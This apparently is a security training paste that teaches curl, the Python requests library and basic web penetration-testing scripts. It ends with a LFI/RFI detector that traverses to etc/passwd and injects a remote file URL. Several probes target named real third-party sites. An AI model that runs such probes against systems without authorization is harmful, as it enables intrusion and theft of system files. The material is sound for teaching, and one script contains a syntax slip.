Advertisement
joemccray

Web Requests, APIs, and Web Security

May 30th, 2022 (edited)
839
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 19.94 KB | None | 0 0
  1. #############################
  2. # 1. Download a Single File #
  3. #############################
  4. The following command will get the content of the URL and display it in the STDOUT (i.e on your terminal).
  5.  
  6. ---------------------------Type This-----------------------------------
  7. $ curl http://moneyloop.sa
  8. -----------------------------------------------------------------------
  9.  
  10.  
  11.  
  12.  
  13. To store the output in a file, you an redirect it as shown below. This will also display some additional download statistics.
  14.  
  15. ---------------------------Type This-----------------------------------
  16. $ curl http://moneyloop.sa > moneyloop.sa.html
  17. -----------------------------------------------------------------------
  18.  
  19.  
  20.  
  21.  
  22.  
  23. #####################################
  24. # 2. Save the cURL Output to a file #
  25. #####################################
  26. We can save the result of the curl command to a file by using -o/-O options.
  27. • -o (lowercase o) the result will be saved in the filename provided in the command line
  28. • -O (uppercase O) the filename in the URL will be taken and it will be used as the filename to store the result
  29.  
  30. ---------------------------Type This-----------------------------------
  31. $ curl -o bye.txt http://www.opensource.apple.com/source/SpamAssassin/SpamAssassin-127.2/SpamAssassin/t/data/etc/hello.txt
  32. -----------------------------------------------------------------------
  33.  
  34.  
  35.  
  36. Now the page hello.txt will be saved in the file named ‘bye.txt’.
  37. You can also note that when running curl with -o option, it displays the progress meter for the download as follows.
  38.  
  39. When you use curl -O (uppercase O), it will save the content in the file named ‘hello.txt’ itself in the local machine.
  40.  
  41. ---------------------------Type This-----------------------------------
  42. $ curl -O http://www.opensource.apple.com/source/SpamAssassin/SpamAssassin-127.2/SpamAssassin/t/data/etc/hello.txt
  43. -----------------------------------------------------------------------
  44.  
  45.  
  46.  
  47. Note: When curl has to write the data to the terminal, it disables the Progress Meter, to avoid confusion in printing. We can use ‘>’|’-o’|’-O’ options to move the result to a file.
  48.  
  49. ##################################################
  50. # 3. Follow HTTP Location Headers with -L option #
  51. ##################################################
  52. By default CURL doesn’t follow the HTTP Location headers. It is also termed as Redirects. When a requested web page is moved to another place, then an HTTP Location header will be sent as a Response and it will have where the actual web page is located.
  53. For example, when someone types google.com in the browser from India, it will be automatically redirected to ‘google.co.in’. This is done based on the HTTP Location header as shown below.
  54.  
  55. ---------------------------Type This-----------------------------------
  56. $ curl -k --head https://www.moneyloop.sa You'll see that you only get the 301
  57.  
  58. $ curl -k --head -L https://www.moneyloop.sa You'll see that you get the 301, and the 200 OK
  59. -----------------------------------------------------------------------
  60.  
  61. ##########################################
  62. # 4. Continue/Resume a Previous Download #
  63. ##########################################
  64. Using curl -C option, you can continue a download which was stopped already for some reason. This will be helpful when you download large files, and the download got interrupted.
  65. If we say ‘-C -‘, then curl will find from where to start resuming the download. We can also give an offset ‘-C <offset>’. The given offset bytes will be skipped from the beginning for the source file.
  66. Start a big download using curl, and press Ctrl-C to stop it in between the download.
  67.  
  68. ---------------------------Type This-----------------------------------
  69. $ curl -O http://swreflections.blogspot.com/2015/05/appsec-gaps-between-builders-and.html
  70. ############## 20.1%
  71. Note: -# is used to display a progress bar instead of a progress meter.
  72. Now the above download was stopped at 20.1%. Using “curl -C -“, we can continue the download from where it left off earlier. Now the download continues from 20.1%.
  73.  
  74. ---------------------------Type This-----------------------------------
  75. $ curl -C - -O http://swreflections.blogspot.com/2015/05/appsec-gaps-between-builders-and.html
  76. ############### 21.1%
  77. -----------------------------------------------------------------------
  78.  
  79.  
  80.  
  81. #########################
  82. # Interacting with APIs #
  83. #########################
  84.  
  85. Reference link:
  86. https://www.nylas.com/blog/use-python-requests-module-rest-apis/
  87.  
  88.  
  89.  
  90. ---------------------------Type This-----------------------------------
  91. $ curl -X GET "http://api.open-notify.org/astros.json"
  92.  
  93. $ pip install requests
  94.  
  95.  
  96. $ python3
  97. >>> import requests
  98. >>> response = requests.get("http://api.open-notify.org/astros.json")
  99. >>> print(response)
  100.  
  101. >>> response.content # Return the raw bytes of the data payload
  102. >>> response.text # Return a string representation of the data payload
  103. >>> response.json # This method is convenient when the API returns JSON
  104.  
  105.  
  106. >>> query = {'lat':'45', 'lon':'180'}
  107. >>> response = requests.get('http://api.open-notify.org/iss-pass.json', params=query)
  108. >>> print(response.json())
  109.  
  110.  
  111. # Create a new resource
  112.  
  113. ---------------------------Type This-----------------------------------
  114. $ python3
  115. >>> response = requests.post('https://httpbin.org/post', data = {'key':'value'})
  116. -----------------------------------------------------------------------
  117.  
  118.  
  119. # Update an existing resource
  120.  
  121. ---------------------------Type This-----------------------------------
  122. >>> requests.put('https://httpbin.org/put', data = {'key':'value'})
  123.  
  124.  
  125. >>> print(response.headers["date"])
  126. -----------------------------------------------------------------------
  127.  
  128.  
  129.  
  130.  
  131. >>> my_headers = {'Authorization' : 'Bearer {access_token}'}
  132. >>> response = requests.get('http://httpbin.org/headers', headers=my_headers)
  133.  
  134.  
  135. >>> session = requests.Session()
  136. >>> session.headers.update({'Authorization': 'Bearer {access_token}'})
  137. >>> response = session.get('https://httpbin.org/headers')
  138.  
  139.  
  140. >>> if (response.status_code == 200):
  141. ... print("The request was a success!")
  142. ... elif (response.status_code ==404):
  143. ... print("Result not found!")
  144. ...
  145.  
  146.  
  147. >>> try:
  148. ... response = requests.get('http://api.open-notify.org/astros.json')
  149. ... response.raise_for_status()
  150. ... except requests.exceptions.HTTPError as error:
  151. ... print(error)
  152.  
  153.  
  154. >>> try:
  155. ... response = requests.get('http://api.open-notify.org/astros.json')
  156. ... response.raise_for_status()
  157. ... except requests.exceptions.TooManyRedirects as error:
  158. ... print(error)
  159. ...
  160.  
  161.  
  162. >>> response = requests.get('http://api.open-notify.org/astros.json', max_redirects=2)
  163.  
  164.  
  165. >>> response = requests.get('http://api.open-notify.org/astros.json', allow_redirects=False)
  166.  
  167. >>> try:
  168. ... response = requests.get('http://api.open-notify.org/astros.json')
  169. # Code here will only run if the request is successful
  170. >>> except requests.ConnectionError as error:
  171. ... print(error)
  172.  
  173.  
  174. >>> try:
  175. ... response = requests.get('http://api.open-notify.org/astros.json', timeout=0.00001)
  176. # Code here will only run if the request is successful
  177. >>> except requests.Timeout as error:
  178. ... print(error)
  179.  
  180.  
  181. >>> try:
  182. ... response = requests.get('http://api.open-notify.org/astros.json', timeout=5)
  183. ... response.raise_for_status()
  184. >>> except requests.exceptions.HTTPError as errh:
  185. ... print(errh)
  186. >>> except requests.exceptions.ConnectionError as errc:
  187. ... print(errc)
  188. >>> except requests.exceptions.Timeout as errt:
  189. ... print(errt)
  190. >>> except requests.exceptions.RequestException as err:
  191. ... print(err)
  192. exit()
  193. -------------------------------------------------------------
  194.  
  195.  
  196.  
  197.  
  198.  
  199.  
  200. ################################
  201. # Web App Testing with Python3 #
  202. ################################
  203.  
  204.  
  205.  
  206.  
  207.  
  208.  
  209. ##############################
  210. # Bannergrabbing a webserver #
  211. ##############################
  212.  
  213. ---------------------------Type This-----------------------------------
  214. nano bannergrab.py
  215.  
  216.  
  217. ---------------------------Paste This----------------------------------
  218.  
  219. #!/usr/bin/env python3
  220. import sys
  221. import socket
  222.  
  223. # Great reference: https://www.mkyong.com/python/python-3-typeerror-cant-convert-bytes-object-to-str-implicitly/
  224.  
  225. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  226. s.connect(("150.230.48.46", 80))
  227. s.send(("GET / HTTP/1.1\r\n\r\n").encode())
  228.  
  229. #Convert response to bytes
  230. response = b""
  231. # or use encode()
  232. #response = "".encode()
  233.  
  234. while True:
  235. data = s.recv(4096)
  236. response += data
  237. if not data:
  238. break
  239. s.close()
  240. print(response.decode())
  241. -----------------------------------------------------------------------
  242.  
  243.  
  244. ---------------------------Type This-----------------------------------
  245. $ python3 bannergrab.py
  246. -----------------------------------------------------------------------
  247.  
  248.  
  249.  
  250. ########################################
  251. # Testing availability of HTTP methods #
  252. ########################################
  253.  
  254. A very good practice for a penetration tester is to start by listing the various available HTTP methods.
  255. Following is a Python script with the help of which we can connect to the target web server and enumerate the available HTTP methods:
  256.  
  257. To begin with, we need to import the requests library:
  258.  
  259. ---------------------------
  260. $ python3
  261. >>> import requests
  262. ---------------------------
  263.  
  264. After importing the requests library,create an array of HTTP methods, which we are going to send. We will make use ofsome standard methods like 'GET', 'POST', 'PUT', 'DELETE', 'OPTIONS' and a non-standard method ‘TEST’ to check how a web server can handle the unexpected input.
  265.  
  266. ----------------------------------------------------------------------------
  267. >>> method_list = ['GET', 'POST', 'PUT', 'DELETE', 'OPTIONS', 'TRACE','TEST']
  268. ----------------------------------------------------------------------------
  269.  
  270. The following line of code is the main loop of the script, which will send the HTTP packets to the web server and print the method and the status code.
  271.  
  272. ------------------------------------------------------
  273. >>> for method in method_list:
  274. ... req = requests.request(method, 'https://www.google.com')
  275. ... print (method, req.status_code, req.reason)
  276. ------------------------------------------------------
  277.  
  278.  
  279. ------------------------------------------------------
  280. >>> for method in method_list:
  281. ... req = requests.request(method, 'https://www.darkoperator.com')
  282. ... print (method, req.status_code, req.reason)
  283. ------------------------------------------------------
  284.  
  285.  
  286. ------------------------------------------------------
  287. >>> for method in method_list:
  288. ... req = requests.request(method, 'http://ms.dkes.ntpc.edu.tw/phpinfo.php')
  289. ... print (method, req.status_code, req.reason)
  290. ------------------------------------------------------
  291.  
  292.  
  293. ------------------------------------------------------
  294. >>> for method in method_list:
  295. ... req = requests.request(method, 'http://www.dybedu.com')
  296. ... print (method, req.status_code, req.reason)
  297. ------------------------------------------------------
  298.  
  299.  
  300. The next line will test for the possibility of cross site tracing (XST) by sending the TRACE method.
  301.  
  302. -------------------------------------------------------------
  303. >>> if method == 'TRACE' and 'TRACE / HTTP/1.1' in req.text:
  304. ... print ('Cross Site Tracing(XST) is possible')
  305. ... exit()
  306. -------------------------------------------------------------
  307.  
  308.  
  309. *** Full code with example url: ***
  310.  
  311. ---------------------------Type This-----------------------------------
  312. $ nano xst.py
  313.  
  314.  
  315. ---------------------------Paste This----------------------------------
  316. #!/usr/bin/env python3
  317. import requests
  318. method_list = ['GET', 'POST', 'PUT', 'DELETE', 'OPTIONS', 'TRACE','TEST']
  319. for method in method_list:
  320. req = requests.request(method, 'http://ms.dkes.ntpc.edu.tw/phpinfo.php')
  321. print (method, req.status_code, req.reason)
  322. if method == 'TRACE' and 'TRACE / HTTP/1.1' in req.text:
  323. print ('Cross Site Tracing(XST) is possible')
  324.  
  325. -------------------------------------------------------------------------
  326.  
  327.  
  328. After running the above script for a particular web server, we will get 200 OK responses for a particular method accepted by the web server. We will get a 403 Forbidden response if the web server explicitly denies the method. Once we send the TRACE method for testing cross site tracing (XST), we will get 405 Not Allowed responses from the web server otherwise we will get the message ‘Cross Site Tracing(XST) is possible’.
  329.  
  330.  
  331. ---------------------------Type This-----------------------------------
  332. $ python3 xst.py
  333. -----------------------------------------------------------------------
  334.  
  335.  
  336.  
  337. ##########################################
  338. # Foot printing by checking HTTP headers #
  339. ##########################################
  340.  
  341.  
  342. HTTP headers are found in both requests and responses from the web server. They also carry very important information about servers. That is why penetration tester is always interested in parsing information through HTTP headers. Following is a Python script for getting the information about headers of the web server:
  343.  
  344. To begin with, let us import the requests library:
  345.  
  346. ------------------------
  347. $ python3
  348.  
  349. >>> import requests
  350. ------------------------
  351.  
  352. We need to send a GET request to the web server. The following line of code makes a simple GET request through the requests library.
  353.  
  354. ---------------------------------------------
  355. >>> request = requests.get('enter the URL')
  356. ---------------------------------------------
  357.  
  358. Next, we will generate a list of headers about which you need the information.
  359.  
  360. ---------------------------------------------------------------------------------------------------------------
  361. >>> header_list = ['Server', 'Date', 'Via', 'X-Powered-By', 'X-Country-Code', 'Connection', 'Content-Length']
  362. ---------------------------------------------------------------------------------------------------------------
  363.  
  364. Next is a try and except block.
  365.  
  366. ---------------------------------------------------
  367. >>> for header in header_list:
  368.  
  369. try:
  370. result = request.headers[header]
  371. print ('%s: %s' % (header, result))
  372. except Exception as err:
  373. print ('%s: No Details Found' % header)
  374.  
  375. ---------------------------------------------------
  376.  
  377.  
  378.  
  379.  
  380. *** Example Full Code: ***
  381.  
  382. ---------------------------Type This-----------------------------------
  383. $ nano headercheck.py
  384.  
  385.  
  386. ---------------------------Paste This----------------------------------
  387. #!/usr/bin/env python3
  388. import requests
  389. request = requests.get('http://ms.dkes.ntpc.edu.tw/phpinfo.php)
  390. header_list = ['Server', 'Date', 'Via', 'X-Powered-By', 'X-Country-Code', 'Connection', 'Content-Length']
  391. for header in header_list:
  392. try:
  393. result = request.headers[header]
  394. print ('%s: %s' % (header, result))
  395. except Exception as err:
  396. print ('%s: No Details Found' % header)
  397. ----------------------------------------------------------------------------------------------------------------
  398.  
  399.  
  400. After running the above script for a particular web server, we will get the information about the headers provided in the header list. If there will be no information for a particular header then it will give the message ‘No Details Found’.
  401.  
  402.  
  403. ---------------------------Type This-----------------------------------
  404. $ python3 headercheck.py
  405. -----------------------------------------------------------------------
  406.  
  407.  
  408. ##############################################
  409. # Testing insecure web server configurations #
  410. ##############################################
  411.  
  412. We can use HTTP header information to test insecure web server configurations. In the following Python script, we are going to use try/except block to test insecure web server headers for number of URLs that are saved in a text file name websites.txt.
  413. ---------------------------Type This-----------------------------------
  414. $ nano websites.txt
  415.  
  416. ---------------------------Paste This----------------------------------
  417. https://www.google.com
  418. https://www.cnn.com
  419. https://foxnews.com
  420. https://infosecaddicts.com/
  421. https://www.cyberme.studio/
  422. https://trusted.sa/
  423. -----------------------------------------------------------------------
  424.  
  425.  
  426.  
  427.  
  428. ---------------------------Type This-----------------------------------
  429. $ nano insecure_config_check.py
  430.  
  431.  
  432. ---------------------------Paste This----------------------------------
  433. #!/usr/bin/env python3
  434.  
  435. # Reference: https://www.keycdn.com/blog/http-security-headers
  436.  
  437. import requests
  438. urls = open("websites.txt", "r")
  439. for url in urls:
  440. url = url.strip()
  441. req = requests.get(url)
  442. print (url, 'report:')
  443. try:
  444. protection_xss = req.headers['X-XSS-Protection']
  445. if protection_xss != '1; mode=block':
  446. print ('X-XSS-Protection not set properly, it may be possible:', protection_xss)
  447. except:
  448. print ('X-XSS-Protection not set, it may be possible')
  449. try:
  450. options_content_type = req.headers['X-Content-Type-Options']
  451. if options_content_type != 'nosniff':
  452. print ('X-Content-Type-Options not set properly:', options_content_type)
  453. except:
  454. print ('X-Content-Type-Options not set')
  455. try:
  456. transport_security = req.headers['Strict-Transport-Security']
  457. except:
  458. print ('HSTS header not set properly, Man in the middle attacks is possible')
  459. try:
  460. content_security = req.headers['Content-Security-Policy']
  461. print ('Content-Security-Policy set:', content_security)
  462. except:
  463. print ('Content-Security-Policy missing')
  464.  
  465. -----------------------------------------------------------------------
  466.  
  467.  
  468. ---------------------------Type This-----------------------------------
  469. $ python3 insecure_config_check.py
  470. -----------------------------------------------------------------------
  471.  
  472.  
  473.  
  474.  
  475.  
  476.  
  477.  
  478.  
  479. ---------------------------Type This-----------------------------------
  480. $ nano LFI-RFI.py
  481.  
  482.  
  483. ---------------------------Paste This----------------------------------
  484.  
  485. #!/usr/bin/env python3
  486. print("\n### PHP LFI/RFI Detector ###")
  487.  
  488. import urllib.request, urllib.error, urllib.parse,re,sys
  489.  
  490. TARGET = "https://www.mycni.hk/cniuat/index.php?page=Carp:Misc&f_id=10075&target=Right"
  491. RFIVULN = "https://raw.githubusercontent.com/gruntjs/grunt-contrib-connect/master/test/fixtures/hello.txt?"
  492. TravLimit = 12
  493.  
  494. print("==> Testing for LFI vulns..")
  495. TARGET = TARGET.split("=")[0]+"=" ## URL MANUPLIATION
  496. for x in range(1,TravLimit): ## ITERATE THROUGH THE LOOP
  497. TARGET += "../"
  498. try:
  499. source = urllib.request.urlopen((TARGET+"etc/passwd%00")).read().decode() ## WEB REQUEST
  500. except urllib.error.URLError as e:
  501. print("$$$ We had an Error:",e)
  502. sys.exit(0)
  503. if re.search("root:x:0:0:",source): ## SEARCH FOR TEXT IN SOURCE
  504. print("!! ==> LFI Found:",TARGET+"etc/passwd")
  505. break ## BREAK LOOP WHEN VULN FOUND
  506.  
  507. print("\n==> Testing for RFI vulns..")
  508. TARGET = TARGET.split("=")[0]+"="+RFIVULN ## URL MANUPLIATION
  509. try:
  510. source = urllib.request.urlopen(TARGET).read().decode() ## WEB REQUEST
  511. except urllib.error.URLError as e:
  512. print("$$$ We had an Error:",e)
  513. sys.exit(0)
  514. if re.search("Hello world",source): ## SEARCH FOR TEXT IN SOURCE
  515. print("!! => RFI Found:",TARGET)
  516.  
  517. print("\nScan Complete\n") ## DONE
  518. ----------------------------------------------------------------------
  519.  
  520.  
  521.  
  522.  
  523. ---------------------------Type This-----------------------------------
  524. $ python3 LFI-RFI.py
  525. -----------------------------------------------------------------------
  526.  
  527.  
  528.  
  529.  
  530.  
  531. ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
  532.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement